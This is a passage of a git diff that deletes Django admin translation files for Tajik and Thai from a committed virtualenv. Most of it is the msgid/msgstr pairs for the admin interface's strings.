a/backend/venv/Lib/site-packages/django/contrib/admin/locale/tg/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/tg/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/tg/LC_MESSAGES/django.po deleted file mode 100644 index dee28726..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/tg/LC_MESSAGES/django.po +++ /dev/null @@ -1,699 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Mariusz Felisiak , 2020 -# Surush Sufiew , 2020 -# Surush Sufiew , 2020 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2020-07-14 19:53+0200\n" -"PO-Revision-Date: 2020-07-30 18:53+0000\n" -"Last-Translator: Mariusz Felisiak \n" -"Language-Team: Tajik (http://www.transifex.com/django/django/language/tg/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: tg\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "Муваффақона нест сохтед %(count)d %(items)s." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "Нест карда нашуд %(name)s" - -msgid "Are you sure?" -msgstr "Шумо рози ҳастед ?" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "Нест сохтани интихобшудаҳо %(verbose_name_plural)s" - -msgid "Administration" -msgstr "Маъмурият" - -msgid "All" -msgstr "Ҳама" - -msgid "Yes" -msgstr "Ҳа" - -msgid "No" -msgstr "Не" - -msgid "Unknown" -msgstr "Номуайян" - -msgid "Any date" -msgstr "Санаи бефарқ" - -msgid "Today" -msgstr "Имрӯз" - -msgid "Past 7 days" -msgstr "7 рӯзи охир" - -msgid "This month" -msgstr "Моҳи ҷорӣ" - -msgid "This year" -msgstr "Соли ҷорӣ" - -msgid "No date" -msgstr "Сана ишора нашудааст" - -msgid "Has date" -msgstr "Сана ишора шудааст" - -msgid "Empty" -msgstr "Холӣ" - -msgid "Not empty" -msgstr "Холӣ нест" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"Хоҳиш менамоем %(username)s ва рамзро дуруст ворид созед. Ҳарду майдон " -"метавонанд духура бошанд." - -msgid "Action:" -msgstr "Амал:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "Боз якто %(verbose_name)s илова кардан" - -msgid "Remove" -msgstr "Нест кардан" - -msgid "Addition" -msgstr "Иловакунӣ" - -msgid "Change" -msgstr "Тағйир додан" - -msgid "Deletion" -msgstr "Несткунӣ" - -msgid "action time" -msgstr "вақти амал" - -msgid "user" -msgstr "истифодабаранда" - -msgid "content type" -msgstr "намуди контент" - -msgid "object id" -msgstr "идентификатори объект" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "намоиши объект" - -msgid "action flag" -msgstr "намуди амал" - -msgid "change message" -msgstr "хабар оиди тағйирот" - -msgid "log entry" -msgstr "қайд дар дафтар" - -msgid "log entries" -msgstr "қайдҳо дар дафтар" - -#, python-format -msgid "Added “%(object)s”." -msgstr "Илова шуд \"%(object)s\"" - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "" - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "" - -msgid "LogEntry Object" -msgstr "Қайд дар дафтар" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "" - -msgid "Added." -msgstr "Илова шуд." - -msgid "and" -msgstr "ва" - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "" - -#, python-brace-format -msgid "Changed {fields}." -msgstr "Тағйир ёфт {fields}." - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "" - -msgid "No fields changed." -msgstr "Ягон майдон тағйир наёфт." - -msgid "None" -msgstr "Не" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "" - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "" - -msgid "You may edit it again below." -msgstr "Шумо метавонед ин объектро дар поён аз нав тағйир диҳед." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "" - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "" - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"Барои иҷрои амал лозим аст, ки объектро интихоб намоед. Тағйирот барои " -"объектҳо ворид нашуданд " - -msgid "No action selected." -msgstr "Ҳеҷ амал инихоб нашудааст." - -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "" - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "" - -#, python-format -msgid "Add %s" -msgstr "Илова кардан %s" - -#, python-format -msgid "Change %s" -msgstr "Тағйир додан %s" - -#, python-format -msgid "View %s" -msgstr "Азназаргузаронӣ %s" - -msgid "Database error" -msgstr "Мушкилӣ дар базаи додаҳо" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "Интихоб карда шуд 0 аз %(cnt)s " - -#, python-format -msgid "Change history: %s" -msgstr "Таърихи вориди тағйирот: %s" - -#. Translators: Model verbose name and instance representation, -#. suitable to be an item in a list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s %(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" -"Несткунии объекти %(instance)s намуди %(class_name)s талаб мекунад, ки " -"объектҳои алоқамандшудаизерин низ нест карда шаванд: %(related_objects)s" - -msgid "Django site admin" -msgstr "Сомонаи маъмурии Django" - -msgid "Django administration" -msgstr "Маъмурияти Django" - -msgid "Site administration" -msgstr "Маъмурияти сомона" - -msgid "Log in" -msgstr "Ворид шудан" - -#, python-format -msgid "%(app)s administration" -msgstr "Маъмурияти барномаи «%(app)s»" - -msgid "Page not found" -msgstr "Саҳифа ёфт нашуд" - -msgid "We’re sorry, but the requested page could not be found." -msgstr "" - -msgid "Home" -msgstr "Асосӣ" - -msgid "Server error" -msgstr "Мушкилӣ дар сервер" - -msgid "Server error (500)" -msgstr "Мушкилӣ дар сервер (500)" - -msgid "Server Error (500)" -msgstr "Мушкилӣ дар сервер (500)" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" - -msgid "Run the selected action" -msgstr "Иҷрои амалҳои ихтихобшуда" - -msgid "Go" -msgstr "Иҷро кардан" - -msgid "Click here to select the objects across all pages" -msgstr "Барои интихоби объектҳо дар ҳамаи саҳифаҳо, инҷоро пахш намоед" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "Интихоби ҳамаи %(module_name)s (%(total_count)s)" - -msgid "Clear selection" -msgstr "Бекоркунии интихоб" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "Моелҳои барномаи %(name)s" - -msgid "Add" -msgstr "Илова кардан" - -msgid "View" -msgstr "Азназаргузаронӣ" - -msgid "You don’t have permission to view or edit anything." -msgstr "" - -msgid "" -"First, enter a username and password. Then, you’ll be able to edit more user " -"options." -msgstr "" - -msgid "Enter a username and password." -msgstr "Ном ва рамзро ворид созед." - -msgid "Change password" -msgstr "Тағйир додани рамз" - -msgid "Please correct the error below." -msgstr "Хоҳишмандем, хатогии зеринро ислоҳ кунед." - -msgid "Please correct the errors below." -msgstr "Хоҳишмандем, хатогиҳои зеринро ислоҳ кунед." - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "Рамзи навро ворид созед %(username)s." - -msgid "Welcome," -msgstr "Марҳамат," - -msgid "View site" -msgstr "Гузариш ба сомона" - -msgid "Documentation" -msgstr "Ҳуҷҷатнигорӣ" - -msgid "Log out" -msgstr "Баромад" - -#, python-format -msgid "Add %(name)s" -msgstr "Дохил кардани %(name)s" - -msgid "History" -msgstr "Таърих" - -msgid "View on site" -msgstr "Дар сомона дидан" - -msgid "Filter" -msgstr "Поло(Filter)" - -msgid "Clear all filters" -msgstr "" - -msgid "Remove from sorting" -msgstr "Аз қайди навъҳо баровардан" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "Бартарии навъҳо: %(priority_number)s" - -msgid "Toggle sorting" -msgstr "Навъҷудокунӣ дар дигар раванд" - -msgid "Delete" -msgstr "Нест кардан" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"Нест кардани %(object_name)s '%(escaped_object)s' ба нестсозии объектҳои ба " -"он алоқаманд оварда мерасонад, аммо'ҳисоби корбарӣ'-и (аккаунт) шумо иҷозати " -"нестсозии объектҳои зеринро надорад:" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"Нестсозии %(object_name)s '%(escaped_object)s' талаб менамояд, ки " -"объектҳоиалоқаманди муҳофизатии зерин нест карда шаванд:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"Шумо боварӣ доред, ки ин элементҳо нест карда шаванд: %(object_name)s " -"\"%(escaped_object)s\"? Ҳамаи объектҳои алоқаманди зерин низ нест карда " -"мешаванд:" - -msgid "Objects" -msgstr "Объектҳо" - -msgid "Yes, I’m sure" -msgstr "" - -msgid "No, take me back" -msgstr "Не, баргаштан" - -msgid "Delete multiple objects" -msgstr "Нестсозии якчанд объектҳо" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"Нест кардани %(objects_name)s ба нестсозии объектҳои ба он алоқаманд оварда " -"мерасонад, аммо'ҳисоби корбарӣ'-и (аккаунт) шумо иҷозати нестсозии объектҳои " -"зеринро надорад:" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"Нестсозии %(objects_name)s талаб менамояд, ки объектҳоиалоқаманди " -"муҳофизатии зерин нест карда шаванд:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"Шумо боварӣ доред, ки ин элементҳо нест карда шаванд: %(objects_name)s? " -"Ҳамаи объектҳои алоқаманди зерин низ нест карда мешаванд:" - -msgid "Delete?" -msgstr "Нест кардан?" - -#, python-format -msgid " By %(filter_title)s " -msgstr "%(filter_title)s" - -msgid "Summary" -msgstr "Мухтасар" - -msgid "Recent actions" -msgstr "Амалҳои охирин" - -msgid "My actions" -msgstr "Амалҳои ман" - -msgid "None available" -msgstr "Дастнорас" - -msgid "Unknown content" -msgstr "Шакли номуайян" - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" -"Шумо ба система ҳамчун %(username)s, ворид шудед, вале салоҳияти шумобарои " -"азназаргузарониисаҳифаи мазкур нокифоя аст. Шояд шумо мехоҳед бо истифода аз " -"дигар 'ҳисоби корбарӣ' вориди система шавед." - -msgid "Forgotten your password or username?" -msgstr "Рамз ё номро фаромӯш кардед?" - -msgid "Toggle navigation" -msgstr "" - -msgid "Date/time" -msgstr "Сана ва вақт" - -msgid "User" -msgstr "Истифодабар" - -msgid "Action" -msgstr "Амал" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "" - -msgid "Show all" -msgstr "Ҳамаро нишон додан" - -msgid "Save" -msgstr "Ҳифз кардан" - -msgid "Popup closing…" -msgstr "Равзанаи иловагӣ пӯшида мешавад..." - -msgid "Search" -msgstr "Ёфтан" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "%(full_result_count)s ҳамаги" - -msgid "Save as new" -msgstr "Ҳамчун объекти нав ҳифз кардан" - -msgid "Save and add another" -msgstr "Ҳифз кардан ва объекти дигар илова кардан" - -msgid "Save and continue editing" -msgstr "Ҳифз кардан ва танзимотро давом додан" - -msgid "Save and view" -msgstr "Ҳифз кардан ва аз назар гузаронидан" - -msgid "Close" -msgstr "Пӯшидан" - -#, python-format -msgid "Change selected %(model)s" -msgstr "Объекти интихобшударо тағйир додан: \"%(model)s\"" - -#, python-format -msgid "Add another %(model)s" -msgstr "Воридсозии боз як объекти \"%(model)s\"" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "Объекти зерини интихобшударо нест кардан \"%(model)s\"" - -msgid "Thanks for spending some quality time with the Web site today." -msgstr "Барои вақти дар ин сомона сарф кардаатон миннатдорем." - -msgid "Log in again" -msgstr "Аз нав ворид шудан" - -msgid "Password change" -msgstr "Тағйири рамз" - -msgid "Your password was changed." -msgstr "Рамзи шумо тағйир дода шуд." - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" - -msgid "Change my password" -msgstr "Тағйири рамзи ман" - -msgid "Password reset" -msgstr "Барқароркунии рамз" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "Рамзи шумо ҳифз шуд. Акнун шумо метавонед ворид шавед." - -msgid "Password reset confirmation" -msgstr "Барқароркунии рамз тасдиқ карда шуд." - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" -"Хоҳиш мекунем рамзи нави худро ду маротиба(бояд ҳарду мувофиқат кунанд) " -"дохил кунед." - -msgid "New password:" -msgstr "Рамзи нав:" - -msgid "Confirm password:" -msgstr "Рамзи тасдиқӣ:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"Суроға барои барқароркунии рамз нодуруст аст. Эҳтимол алакай як маротиба " -"истифода шудааст.Амали барқароркунии рамзро такрор намоед." - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"Шумо ин матубро гирифтед барои он, ки аз сомонаи %(site_name)s, ки бо ин " -"почтаи электронӣ алоқаманд аст,ба мо дархост барои барқароркунии рамз қабул " -"шуд." - -msgid "Please go to the following page and choose a new password:" -msgstr "Хоҳишмандем ба ин саҳифа гузаред ва рамзи навро ворид созед:" - -msgid "Your username, in case you’ve forgotten:" -msgstr "" - -msgid "Thanks for using our site!" -msgstr "Барои аз сомонаи мо истифода карданатон сипосгузорем!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "Гурӯҳи ташкили %(site_name)s" - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" - -msgid "Email address:" -msgstr "Суроғаи почтаи электронӣ:" - -msgid "Reset my password" -msgstr "Барқароркунии рамзи ман" - -msgid "All dates" -msgstr "Ҳама санаҳо" - -#, python-format -msgid "Select %s" -msgstr "Интихоб кунед %s" - -#, python-format -msgid "Select %s to change" -msgstr "Интихоби %s барои тағйирот ворид сохтан " - -#, python-format -msgid "Select %s to view" -msgstr "Интихоби %s барои азназаргузаронӣ" - -msgid "Date:" -msgstr "Сана:" - -msgid "Time:" -msgstr "Вақт:" - -msgid "Lookup" -msgstr "Ҷустуҷӯ" - -msgid "Currently:" -msgstr "Ҷорӣ:" - -msgid "Change:" -msgstr "Тағйир додан:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/tg/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/tg/LC_MESSAGES/djangojs.mo deleted file mode 100644 index 2c065519..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/tg/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/tg/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/tg/LC_MESSAGES/djangojs.po deleted file mode 100644 index b5f4fdb4..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/tg/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,222 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Surush Sufiew , 2020 -# Surush Sufiew , 2020 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2020-05-11 20:56+0200\n" -"PO-Revision-Date: 2020-05-15 01:22+0000\n" -"Last-Translator: Surush Sufiew \n" -"Language-Team: Tajik (http://www.transifex.com/django/django/language/tg/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: tg\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, javascript-format -msgid "Available %s" -msgstr "Дастрас %s" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" -"Ин руйхати %s - ҳои дастрас. Шумо метавонед якчандто аз инҳоро дар " -"майдонипоён бо пахши тугмаи \\'Интихоб кардан'\\ интихоб намоед." - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "" -"Барои баровардани рӯйхати %s. -ҳои дастрас, ба воридсозии матни лозима шурӯъ " -"кунед" - -msgid "Filter" -msgstr "Поло" - -msgid "Choose all" -msgstr "Интихоби кулл" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "Барои якбора интихоб намудани кулли %s инҷоро пахш намоед." - -msgid "Choose" -msgstr "интихоб кардан" - -msgid "Remove" -msgstr "Нест кардан" - -#, javascript-format -msgid "Chosen %s" -msgstr "%s -ҳои интихобшуда" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" -"Ин руйхати %s - ҳои интихобшуда. Шумо метавонед якчандто аз инҳоро дар " -"майдонипоён бо пахши тугмаи \\'Нест кардан'\\ нест созед." - -msgid "Remove all" -msgstr "Нест кардан ба таври кулл" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "Пахш кунед барои якбора нест кардани ҳамаи %s." - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "" -msgstr[1] "" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"Тағйиротҳои ҳифзнакардашуда дар майдони таҳрир мавҷуданд. Агаршумо иҷрои " -"амалро давом диҳед, онҳо нест хоҳанд шуд." - -msgid "" -"You have selected an action, but you haven’t saved your changes to " -"individual fields yet. Please click OK to save. You’ll need to re-run the " -"action." -msgstr "" -"Шумо амалро интихоб намудед, вале ҳануз тағйиротҳои ворид кардашуда ҳифз " -"нашудаанд.\"\n" -"\"Барои ҳифз намудани онҳо ба тугмаи 'ОК' пахш намоед.\"\n" -"\"Сипас шуморо лозим меояд, ки амалро такроран иҷро намоед" - -msgid "" -"You have selected an action, and you haven’t made any changes on individual " -"fields. You’re probably looking for the Go button rather than the Save " -"button." -msgstr "" -"\"Шумо амалрор интихоб намудед, вале тағйирот ворид насохтед.\"\n" -"\"Эҳтимол шумо мехостед ба ҷои тугмаи \\'Ҳифз кардан'\\, аз тугмаи \\'Иҷро " -"кардан'\\ истифода намоед.\"\n" -"\"Агар чунин бошад, он гоҳ тугмаи \\'Инкор'\\ пахш кунед, то ки ба майдони " -"таҳриркунӣ баргардед.\"" - -msgid "Now" -msgstr "Ҳозир" - -msgid "Midnight" -msgstr "Нисфишабӣ" - -msgid "6 a.m." -msgstr "6-и саҳар" - -msgid "Noon" -msgstr "Нисфирӯзӣ" - -msgid "6 p.m." -msgstr "6-и бегоҳӣ" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "" -msgstr[1] "" - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "" -msgstr[1] "" - -msgid "Choose a Time" -msgstr "Вақтро интихоб кунед" - -msgid "Choose a time" -msgstr "Вақтро интихоб кунед" - -msgid "Cancel" -msgstr "Инкор" - -msgid "Today" -msgstr "Имрӯз" - -msgid "Choose a Date" -msgstr "Санаро интихоб кунед" - -msgid "Yesterday" -msgstr "Дирӯз" - -msgid "Tomorrow" -msgstr "Фардо" - -msgid "January" -msgstr "Январ" - -msgid "February" -msgstr "Феврал" - -msgid "March" -msgstr "Март" - -msgid "April" -msgstr "Апрел" - -msgid "May" -msgstr "Май" - -msgid "June" -msgstr "Июн" - -msgid "July" -msgstr "Июл" - -msgid "August" -msgstr "Август" - -msgid "September" -msgstr "Сентябр" - -msgid "October" -msgstr "Октябр" - -msgid "November" -msgstr "Ноябр" - -msgid "December" -msgstr "Декабр" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "Я" - -msgctxt "one letter Monday" -msgid "M" -msgstr "Д" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "С" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "Ч" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "П" - -msgctxt "one letter Friday" -msgid "F" -msgstr "Ҷ" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "Ш" - -msgid "Show" -msgstr "Нишон додан" - -msgid "Hide" -msgstr "Пинҳон кардан" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/th/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/th/LC_MESSAGES/django.mo deleted file mode 100644 index 0e56ede8..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/th/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/th/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/th/LC_MESSAGES/django.po deleted file mode 100644 index 53054f83..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/th/LC_MESSAGES/django.po +++ /dev/null @@ -1,671 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Jannis Leidel , 2011 -# Kowit Charoenratchatabhan , 2013-2014,2017-2019 -# piti118 , 2012 -# Suteepat Damrongyingsupab , 2011-2012 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2019-09-08 17:27+0200\n" -"PO-Revision-Date: 2019-09-17 01:31+0000\n" -"Last-Translator: Ramiro Morales\n" -"Language-Team: Thai (http://www.transifex.com/django/django/language/th/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: th\n" -"Plural-Forms: nplurals=1; plural=0;\n" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "%(count)d %(items)s ถูกลบเรียบร้อยแล้ว" - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "ไม่สามารถลบ %(name)s" - -msgid "Are you sure?" -msgstr "แน่ใจหรือ" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "ลบ %(verbose_name_plural)s ที่เลือก" - -msgid "Administration" -msgstr "การจัดการ" - -msgid "All" -msgstr "ทั้งหมด" - -msgid "Yes" -msgstr "ใช่" - -msgid "No" -msgstr "ไม่ใช่" - -msgid "Unknown" -msgstr "ไม่รู้" - -msgid "Any date" -msgstr "วันไหนก็ได้" - -msgid "Today" -msgstr "วันนี้" - -msgid "Past 7 days" -msgstr "สัปดาห์ที่แล้ว" - -msgid "This month" -msgstr "เดือนนี้" - -msgid "This year" -msgstr "ปีนี้" - -msgid "No date" -msgstr "ไม่รวมวันที่" - -msgid "Has date" -msgstr "รวมวันที่" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "กรุณาใส่ %(username)s และรหัสผ่านให้ถูกต้อง มีการแยกแยะตัวพิมพ์ใหญ่-เล็ก" - -msgid "Action:" -msgstr "คำสั่ง :" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "เพิ่ม %(verbose_name)s อีก" - -msgid "Remove" -msgstr "ถอดออก" - -msgid "Addition" -msgstr "เพิ่ม" - -msgid "Change" -msgstr "เปลี่ยนแปลง" - -msgid "Deletion" -msgstr "ลบ" - -msgid "action time" -msgstr "เวลาลงมือ" - -msgid "user" -msgstr "ผู้ใช้" - -msgid "content type" -msgstr "content type" - -msgid "object id" -msgstr "อ็อบเจ็กต์ไอดี" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "object repr" - -msgid "action flag" -msgstr "action flag" - -msgid "change message" -msgstr "เปลี่ยนข้อความ" - -msgid "log entry" -msgstr "log entry" - -msgid "log entries" -msgstr "log entries" - -#, python-format -msgid "Added “%(object)s”." -msgstr "" - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "" - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "" - -msgid "LogEntry Object" -msgstr "อ็อบเจ็กต์ LogEntry" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "" - -msgid "Added." -msgstr "เพิ่มแล้ว" - -msgid "and" -msgstr "และ" - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "" - -#, python-brace-format -msgid "Changed {fields}." -msgstr "เปลี่ยน {fields}." - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "" - -msgid "No fields changed." -msgstr "ไม่มีฟิลด์ใดถูกเปลี่ยน" - -msgid "None" -msgstr "ไม่มี" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "" - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "" - -msgid "You may edit it again below." -msgstr "คุณสามารถแก้ไขได้อีกครั้งด้านล่าง" - -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "" - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "" - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"ไม่มีรายการใดถูกเปลี่ยน\n" -"รายการจะต้องถูกเลือกก่อนเพื่อที่จะทำตามคำสั่งได้" - -msgid "No action selected." -msgstr "ไม่มีคำสั่งที่ถูกเลือก" - -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "" - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "" - -#, python-format -msgid "Add %s" -msgstr "เพิ่ม %s" - -#, python-format -msgid "Change %s" -msgstr "เปลี่ยน %s" - -#, python-format -msgid "View %s" -msgstr "ดู %s" - -msgid "Database error" -msgstr "เกิดความผิดพลาดที่ฐานข้อมูล" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "%(name)s จำนวน %(count)s อันได้ถูกเปลี่ยนแปลงเรียบร้อยแล้ว." - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "%(total_count)s ได้ถูกเลือก" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "เลือก 0 จาก %(cnt)s" - -#, python-format -msgid "Change history: %s" -msgstr "เปลี่ยนแปลงประวัติ: %s" - -#. Translators: Model verbose name and instance representation, -#. suitable to be an item in a list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s %(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" -"กำลังลบ %(class_name)s %(instance)s จะต้องมีการลบอ็อบเจ็คต์ป้องกันที่เกี่ยวข้อง : " -"%(related_objects)s" - -msgid "Django site admin" -msgstr "ผู้ดูแลระบบ Django" - -msgid "Django administration" -msgstr "การจัดการ Django" - -msgid "Site administration" -msgstr "การจัดการไซต์" - -msgid "Log in" -msgstr "เข้าสู่ระบบ" - -#, python-format -msgid "%(app)s administration" -msgstr "การจัดการ %(app)s" - -msgid "Page not found" -msgstr "ไม่พบหน้านี้" - -msgid "We’re sorry, but the requested page could not be found." -msgstr "" - -msgid "Home" -msgstr "หน้าหลัก" - -msgid 